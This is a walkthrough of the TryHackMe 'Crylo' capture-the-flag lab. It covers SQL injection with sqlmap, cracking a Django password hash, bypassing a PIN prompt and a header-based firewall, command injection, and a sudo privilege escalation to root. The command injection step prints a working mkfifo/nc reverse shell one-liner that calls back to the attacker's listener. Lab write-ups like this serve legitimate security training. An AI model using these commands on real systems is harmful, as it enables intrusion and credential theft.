Home Crylo
Post
Cancel

Crylo

This was a great box, thanks to Anof for putting it together. It’s especially nice that the question set guides us through what to work on next so that we can concentrate on the how.

Link to room: https://tryhackme.com/room/crylo4a

Enumerate

We’ll start with an nmap scan and also attack the website with Zap at the same time.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(user㉿kali-linux-2022-2)-[~]
└─$ nmap -sC -sV 10.10.130.140
                                                                            
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-12 11:50 EDT
Nmap scan report for 10.10.130.140
Host is up (0.088s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9f:7e:08:42:ea:bf:be:1a:1b:78:b0:f7:99:3c:ca:1d (RSA)
|   256 f8:f3:90:83:b1:bc:87:e8:93:a0:ff:d5:bc:1f:d7:e1 (ECDSA)
|_  256 b6:77:4d:a6:6d:73:79:15:ea:39:0c:f6:1b:b4:0b:6c (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Spicyo
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.34 seconds

Find the 403 directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(user㉿kali-linux-2022-2)-[~]
└─$ gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt  --url http://10.10.83.156                                 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.83.156
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/08/11 15:32:07 Starting gobuster in directory enumeration mode
===============================================================
/contact              (Status: 200) [Size: 8858]
/about                (Status: 200) [Size: 10720]
/blog                 (Status: 200) [Size: 11402]
/login                (Status: 200) [Size: 13151]
/debug                (Status: 403) [Size: 122]
/recipe               (Status: 200) [Size: 13914]
Progress: 10890 / 87665 (12.42%)^C
[!] Keyboard interrupt detected, terminating.

Foothold

ZAP shows that the username field on the login form is vulnerable to sqli.

Screenshot 2023-08-12 at 12.05.40 PM.png

Exploit sqli

Save a request to the login page from Zap to req.raw to use in sqlmap. Be sure to open the file and clean the parameters of any of the test palyloads that ZAP was sending before starting sqlmap.

This is a blind, time-based attack so it will run very slowly. We’ll start by extracting the name of the current database, to limit our scope. In this first run, sqlmap will also learn how to exploit the database and save that technique for subsequent runs.

sqlmap -r req.raw -p "username" --random-agent --current-db

With this we learn the db is named food

Next we’ll get a list of tables so that we can dump just the one(s) we’re interested in.

sqlmap -r req.raw -p "username" --random-agent -D food --tables

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[15:41:11] [INFO] fetching tables for database: 'food'
[15:41:11] [INFO] fetching number of tables for database 'food'
[15:41:11] [INFO] retrieved: 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
1
[15:41:32] [INFO] adjusting time delay to 2 seconds due to good response times
3
[15:41:35] [INFO] retrieved: accounts_pin
[15:43:24] [INFO] retrieved: accounts_pintoken
[15:44:37] [INFO] retrieved: accounts_upload
[15:45:53] [INFO] retrieved: auth_group
[15:47:26] [INFO] retrieved: auth_group_permissions
[15:49:36] [INFO] retrieved: auth_permission
[15:51:13] [INFO] retrieved: auth_user
[15:51:57] [INFO] retrieved: auth_user_groups
[15:53:30] [INFO] retrieved: auth_user_user_permissions
[15:56:12] [INFO] retrieved: django_admin_log
[15:58:39] [INFO] retrieved: django_content_type
[16:00:53] [INFO] retrieved: django_migrations                                                                                                                                                                    
[16:02:30] [INFO] retrieved: django_session

Let’s dump the auth_user table:

sqlmap -r req.raw -p "username" --dump --random-agent -D food -T auth_user

This takes a long time to run, but eventually we get the table data returned. If you’re impatient, you can ctrl-c out of the script once you have the first username and password hash. If you’re really impatient, try to predict what colum names you want and pull them individually. When I did the box, I used this time for coffee instead!

Screenshot 2023-08-12 at 1.13.55 PM.png

Crack admin Password

We need to crack the Django admin password hash from the auth_user table. We have a hint from the THM question set that we’re going after the first user, which is good because the second user’s hash doesn’t match the expected Django format.

Copying the hash to hash and running hashcat -m 10000 ./hash ./rockyou.txt will get us the password for the first user.

Bypass MFA

Entering the username and password, we next get prompted for a pin code. Examinimg the javascript code in validation.js on this page we find the excryption routing for the pin, but we also see a hint that another page exists that might allow us to reset it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[...]
        var result = result.toString(CryptoJS.enc.Utf8);
        //////////var jsonResponse = JSON.parse(xhr.responseText);
        var jsonResponse = JSON.parse(result);
        //alert(xhr.responseText);
        //var jsonResponse = xhr.responseText;
        console.log(jsonResponse);
        if (jsonResponse.pin_set == "true") {
            //Redirect to 2fa
            //window.location.replace("/2fa");
            //document.getElementsByClassName
            document.getElementById("loginid").style.display = "none";
            document.getElementById("enterpinid").style.display = "flex";
        } else if (jsonResponse.pin_set == "false") {
            //redirect to set pin
            //window.location.replace("/set-pin");
            document.getElementById("loginid").style.display = "none";
            document.getElementById("createpinid").style.display = "flex";
        } else {
            // Invalid username/ password
            alert(jsonResponse.reason);
        }
    }
    xhr.open(oFormElement.method, oFormElement.action, true);
    xhr.send(new FormData(oFormElement));
    return false;
}

The Fast (and only) Path

Simply navigate to /set-pin to create a new pin, and then log in with it.

🐇 Rabbit Hole: try to decrypt the pin

Based on the samples and keys in validation.js we derive this code to decrypt pin:

1
2
3
4
5
6
7
8
9
10
var pass = "6p[redacted]is="
													
var key = "6L[redacted]al"; //length=22
var iv = "mH[redacted].e"; //length=22
key = CryptoJS.enc.Base64.parse(key);
iv = CryptoJS.enc.Base64.parse(iv);
											
var data = CryptoJS.AES.decrypt(pass, key, { iv: iv });
console.log(data)
console.log(data.toString(CryptoJS.enc.Utf8))

If you’re having trouble including CryptoJS in your code, simply copy and paste the contents of the file above this code in your IDE.

We can test our code with a known pin 12345 and use the browser’s back button to capture the encrypted string

Screenshot 2023-08-13 at 8.33.05 AM.png

Screenshot 2023-08-13 at 8.33.52 AM.png

After setting our pin, the encrypted value does come back to one that will decode with our script, so the script seems to be working. It won’t decrypt the pins from the database though. As far as I can tell, this isn’t an intended path.

Bypass Firewall

Task 4 gives us a pretty strong hint that we can bypass a firewall at this point with an extra http request header. This usually means setting an x-header to 127.0.0.1. There are a handful of common headers and we could do this by hand, but in the spirit of the game let’s fuzz for it. I found a great list to use on osamahamad’s Github.

If you’re using ZAP, the fuzzer will overwrite header content instead of inserting space. Make sure you pad in a large enough replace zone to accept your fuzzing content.

Screenshot 2023-08-12 at 7.12.29 PM.png

If we were going to enumerate the website further we could use Zap to add the new header to all of our requests. That isn’t the case here, so let’s just do it in the browser.

Add a plugin to Firefox to add the x-[redacted]: [redacted] header to get to the /debug endpoint. I went with one called ModHeader but others should work fine. Use a regular Firefox session, not one forwarded through Zap.

Screenshot 2023-08-12 at 7.26.22 PM.png

Become crylo

Exploit cli

With access to the /debug page we find a tool for testing services.

There is a pretty straightforward command line injection flaw in this page, we just supply a port number, semicolon and a linux command. For clean output, choose a port that isn’t associated with anything.

Screenshot 2023-08-12 at 7.29.55 PM.png

We’ll send a reverse shell through the cli. I used:

rm -f /tmp/b; mkfifo /tmp/b; /bin/sh -i 2>&1 0</tmp/b | nc 10.6.1.1 4444 1>/tmp/b

From our reverse shell we can capture the user flag.

Become anof

There is a dump of the Django database in anof’s home directory. Just as in our sqli attack Anof’s password in the auth_user table does not match the expected format. Older Django versions used unsalted MD5 but the hash doesn’t come back as an MD5 hash either .

🐇 Rabbit Hole: Decrypt with CryptoJS

When we were enumerating validation.js we saw some suspicious encryption code with lines commented out and example code. It would be odd to do password encryption on the client, but this code didn’t work on the pin and with all of the commented out lines it’s begging us to dig deeper. Perhaps the same algorithm and keys are used on the server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
[...]
function submitForm(oFormElement) {
    var xhr = new XMLHttpRequest();
    //xhr.responseType = 'json';
    xhr.onload = function() {
        var encryptedresp = xhr.responseText;
        var k = "80[redacted]80";
        var key = CryptoJS.enc.Utf8.parse(k);
        var iv = CryptoJS.enc.Utf8.parse(k);
        var item = encryptedresp;
        var result = CryptoJS.AES.decrypt(item, key,
  {
      keySize: 128 / 4,
      iv: iv,
      mode: CryptoJS.mode.CBC,
      padding: CryptoJS.pad.Pkcs7
  })

[...]

function encrypt() {
    var pass = document.getElementById('pin2').value; {
        //document.getElementById("hide").value = document.getElementById("pin").value;
        var key = "6L[redacted]al"; //length=22
        var iv = "mH[redacted].e"; //length=22
        key = CryptoJS.enc.Base64.parse(key);
        iv = CryptoJS.enc.Base64.parse(iv);
        var cipherData = CryptoJS.AES.encrypt(pass, key, {
            iv: iv
        });
        //var data = CryptoJS.AES.decrypt(cipherData, key, { iv: iv });

        //var encryptedAES = CryptoJS.AES.encrypt(pass, "1234567890");
        //var decryptedBytes = CryptoJS.AES.decrypt(Message, "1234567890");
        //var plaintext = decryptedBytes.toString(CryptoJS.enc.Utf8);
        //var hash = CryptoJS.MD5(pass);
        document.getElementById('pin2').value = cipherData;
        return true;
        console.log(document.getElementById('pin2').value)
    }
}

function encrypt2() {
    var pass = document.getElementById('pin3').value; {
        //document.getElementById("hide").value = document.getElementById("pin").value;
        var key = "6L[redacted]al"; //length=22
        var iv = "mH[redacted].e"; //length=22
        key = CryptoJS.enc.Base64.parse(key);
        iv = CryptoJS.enc.Base64.parse(iv);
        var cipherData = CryptoJS.AES.encrypt(pass, key, {
            iv: iv
        });
        //var data = CryptoJS.AES.decrypt(cipherData, key, { iv: iv });

        //var encryptedAES = CryptoJS.AES.encrypt(pass, "1234567890");
        //var decryptedBytes = CryptoJS.AES.decrypt(Message, "1234567890");
        //var plaintext = decryptedBytes.toString(CryptoJS.enc.Utf8);
        //var hash = CryptoJS.MD5(pass);
        document.getElementById('pin3').value = cipherData;
        return true;
        console.log(document.getElementById('pin3').value)
    }
}

Some of this code was pulled directly from a StackOverflow question: CryptoJS and key/IV length

After endless fiddling with the code here and plugging both sets of keys/ivs into CyberChef’s AES decoder I wasn’t able to decode the hash from anof’s user record in the database.

Decrypt password with Python

Enumerating further on the server we find /home/crylo/Food/food/accounts/enc.py We can use snippets of the sample code including the key and iv to decrypt the password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from base64 import b64encode, b64decode
import base64
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes

key = b'\xc9;[redacted]\xc3'
iv = b'!6\[redacted]\x91'

encoded = b64decode("VH[redacted]0=")

cipher2 = AES.new(key, AES.MODE_CBC, iv)
decoded = cipher2.decrypt(encoded)
decoded = unpad(decoded,16)
print(decoded)

We also could have done decrypt in CyberChef with hex representation of the keys as obtained here:

1
2
3
4
5
key = b'\xc9;[redacted]\xc3'
iv = b'!6\[redacted]\x91'

print(key.hex());
print(iv.hex());

CyberChef Formula

Become root

anof can sudo anything with no password.

1
2
3
4
5
6
7
8
9
(remote) anof@crylo:/home/anof$ sudo -l
[sudo] password for anof: 
Matching Defaults entries for anof on crylo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User anof may run the following commands on crylo:
    (ALL : ALL) ALL
(remote) anof@crylo:/home/anof$ sudo su root
root@crylo:/home/anof#

From here we can capture the root flag.

This post is licensed under CC BY 4.0 by the author.